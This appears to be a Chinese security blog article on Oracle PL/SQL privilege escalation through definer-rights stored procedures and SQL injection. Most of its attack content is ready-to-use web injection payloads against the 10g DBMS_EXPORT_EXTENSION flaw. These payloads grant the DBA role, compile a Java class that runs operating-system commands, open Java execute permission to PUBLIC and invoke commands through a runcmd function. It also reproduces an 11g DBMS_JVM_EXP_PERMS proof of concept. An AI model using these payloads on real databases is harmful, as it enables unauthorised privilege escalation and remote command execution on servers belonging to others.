更多全球网络安全资讯尽在邑安全
www.eansec.com
PL/SQL(Procedural Language/SQL)是 Oracle 从 SQL 中扩展出来的一门数据库语言,其中加入了诸多高级语言的语法和特性。下面的示例创建一个存储过程,运行后在控制台输出消息:
create or replace procedure SasugaOracleasmsg varchar2(255);begin
msg := '这语言有用?';
DBMS_OUTPUT.PUT_LINE(msg);end;
乍看一下,语法和 Pascal 很类似。其实 Oracle 设计 PL/SQL 时借鉴了 Ada 的语法,而 Ada 又从 Pascal 汲取了众多的精华。
在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer。
即是说,如果具有 DBA 角色的用户建立了一个存储过程,权限默认,并且允许其他用户执行该存储过程,则普通用户运行该存储过程时,也能访问到 DBA 的资源。
Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:
create or replace function Whoami return varchar2AUTHID CURRENT_USERbegin NULL; end;
因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。下面一个例子展示这个过程:
create or replace procedure SasugaOracle(msg in varchar2)asstmt varchar2(255);begin
stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;'; EXECUTE IMMEDIATE stmt;end;
EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:
grant execute on SasugaOracle to public;
接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:
并没有什么不对,但是如果修改一下传入的参数:
输出还是没有任何变化,但是搜索名为 latec0mer 的用户:
由于存储过程存在注入,并且运行权限为 definer,所以我们成功创建了一个新用户。而类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。
Oracle 为了防护源码,提供相应的加密工具,Windows 下位于 $ORACLE_HOME/bin/wrap.exe,该工具可以对存储过程源码进行加密。Oracle 中的系统存储过程和函数源码都使用该工具进行加密。
Oracle 9i 的加密存储过程,其实是将其编译为 Diana 中间语言),建立符号表后进行存储。具体可以参考 BlackHat 2006 上 Pete Finnigan 大吊的分析:
How to unwrap PL/SQL - Pete Finnigan
10g/11g 则使用不同的加密方式:首先使用 Lempel-Ziv 算法对源码进行压缩,接着计算压缩数据的 SHA1 值,哈希值和压缩代码合并后,每个字节转换为数值作为索引,对应到一个固定的加密表,最后使用 Base64 进行编码。
在 SQL Developer 上可以使用一个 Unwrapper 插件还原系统加密源码:
PL/SQL Unwrapper for SQL Developer | Philipp Salvisberg's Blog
在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。首先获取加密源码:
select text from all_source where name = 'DBMS_EXPORT_EXTENSION' and TYPE = 'PACKAGE BODY';
然后使用插件将源码还原,内容如下:
FUNCTION GET_DOMAIN_INDEX_TABLES (
INDEX_NAME IN VARCHAR2,
INDEX_SCHEMA IN VARCHAR2,
TYPE_NAME IN VARCHAR2,
TYPE_SCHEMA IN VARCHAR2,
READ_ONLY IN PLS_INTEGER,
VERSION IN VARCHAR2,
GET_TABLES IN PLS_INTEGER)
RETURN VARCHAR2 IS
CRS INTEGER := DBMS_SQL.OPEN_CURSOR;
DUMMY INTEGER;
RETVAL INTEGER;
STMTSTRING VARCHAR2(3901);
COMPILE_ERROR EXCEPTION;
PRAGMA EXCEPTION_INIT(COMPILE_ERROR, -6550);BEGIN
IF GET_TABLES = 1 THEN
GETTABLENAMES_CONTEXT := 0;
STMTSTRING := 'DECLARE ' ||
'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||
''''||SYS.DBMS_ASSERT.SCHEMA_NAME(INDEX_SCHEMA)||''','''||
SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(INDEX_NAME)||''', ' ||
'ODCIColInfoList(), NULL, 0, 0); ' ||
'BEGIN ' ||
':p1 := "' || SYS.DBMS_ASSERT.SCHEMA_NAME(TYPE_SCHEMA) || '"."' ||
SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(TYPE_NAME) ||
'".ODCIIndexUtilGetTableNames(oindexinfo,:p2,:p3,:p4); ' ||
'END;';
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',STMTSTRING, 3901);
DBMS_SQL.BIND_VARIABLE(CRS,':p2',READ_ONLY);
DBMS_SQL.BIND_VARIABLE(CRS,':p3',VERSION,20);
DBMS_SQL.BIND_VARIABLE(CRS,':p4',GETTABLENAMES_CONTEXT);
DUMMY := DBMS_SQL.EXECUTE(CRS);
DBMS_SQL.VARIABLE_VALUE(CRS, ':p1',STMTSTRING);
DBMS_SQL.VARIABLE_VALUE(CRS, ':p4',GETTABLENAMES_CONTEXT);
DBMS_SQL.CLOSE_CURSOR(CRS);
ELSE
STMTSTRING := 'BEGIN ' ||
'"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||
'".ODCIIndexUtilCleanup(:p1); ' ||
'END;';
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
DUMMY := DBMS_SQL.EXECUTE(CRS);
DBMS_SQL.CLOSE_CURSOR(CRS);
STMTSTRING := ''; END IF;
RETURN STMTSTRING;
-- snippetsEND GET_DOMAIN_INDEX_TABLES;
当 GET_TABLES ≠ 1 时,会走下面的分支,而此时的 TYPE_SCHEMA 和 TYPE_NAME 参数并没有进行任何过滤,直接传入到 SQL 语句中进行执行。幸运的是,GET_TABLES 也是可控的参数。
尝试在前篇的注入点构造一个 Payload,赋予 scott 用户 DBA 角色:
name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to scott''''; END;''; END;--', '', 0, '1', 0) from dual)=0--
唔,看上去很复杂。这是因为语言约束,Oracle 规定不能直接在 DML(select、update、delete 等) 和 PL/SQL 块中执行 DDL(grant、revoke 等)。
而 AUTONOMOUS_TRANSACTION 可以开启一个独立的上下文环境,所以我们必须先声明一个 AUTONOMOUS_TRANSACTION 过程:
DECLAREPRAGMA AUTONOMOS_TRANSACTION;BEGIN
-- 独立环境END;
在上面的代码中,begin 和 end 构成 PL/SQL 块。但同样无法直接执行 DDL 语句,需要使用动态语句:
EXECUTE IMMEDIATE 'grant dba to scott';
所以综合起来就形成了上面的 Payload。执行 Payload 后,scott 用户已经被赋予 DBA 角色:
Oracle 数据库一个比较大的特点是对 Java 语言的支持,其发行时已经携带了 JDK 工具。同时存储过程也可以使用 Java 进行编写,我们可以通过调用 Java 平台的 API 来执行系统命令。
在 PL/SQL 中创建并编译 Java 源码的语句:
create or replace and compile java source named "SasugaOracle"asimport java.lang.*;import java.io.*;class SasugaOracle {
public static String exec(String cmd) { String ret = "", tmp = ""; try {
BufferedReader reader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); while ((tmp = reader.readLine()) != null) {
ret += tmp;
}
reader.close();
} catch (Exception ex) {
ret = ex.toString();
} return ret;
}
}
去除优雅的缩进和空格,写入 Payload:
name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--
接下来,赋予 Java 执行权限:
name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
创建一个函数来引用刚才的 Java 函数:
name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
赋予所有人函数执行权限:
name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
执行命令:
name=' and 1=2 union select 1,sys.runcmd('cmd /c ver'),2 from dual--
在 Oracle 11g 中存在一个逻辑漏洞:只要拥有 CREATE SESSION 的权限,便可以赋予任意 Java 权限。这是因为允许了 public 调用 DBMS_JVM_EXP_PERMS 中的函数。而对于 CREATE SESSION 权限,这是与数据库建立连接所必须的,所以利用条件基本不会成为瓶颈。
这是 David Litchfield 大屌在 BlackHat DC 2010 给出的 PoC:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
但是在 Web 环境无法直接执行 PL/SQL 语句,我们需要借助另外的函数:
DBMS_XMLQUERY.newContext();DBMS_XMLQUERY.getXML();
这两个函数允许传入一个参数,并将其作为 SQL 语句进行执行。首先构造 Payload 来获取 Java 执行权限:
推荐文章
1
2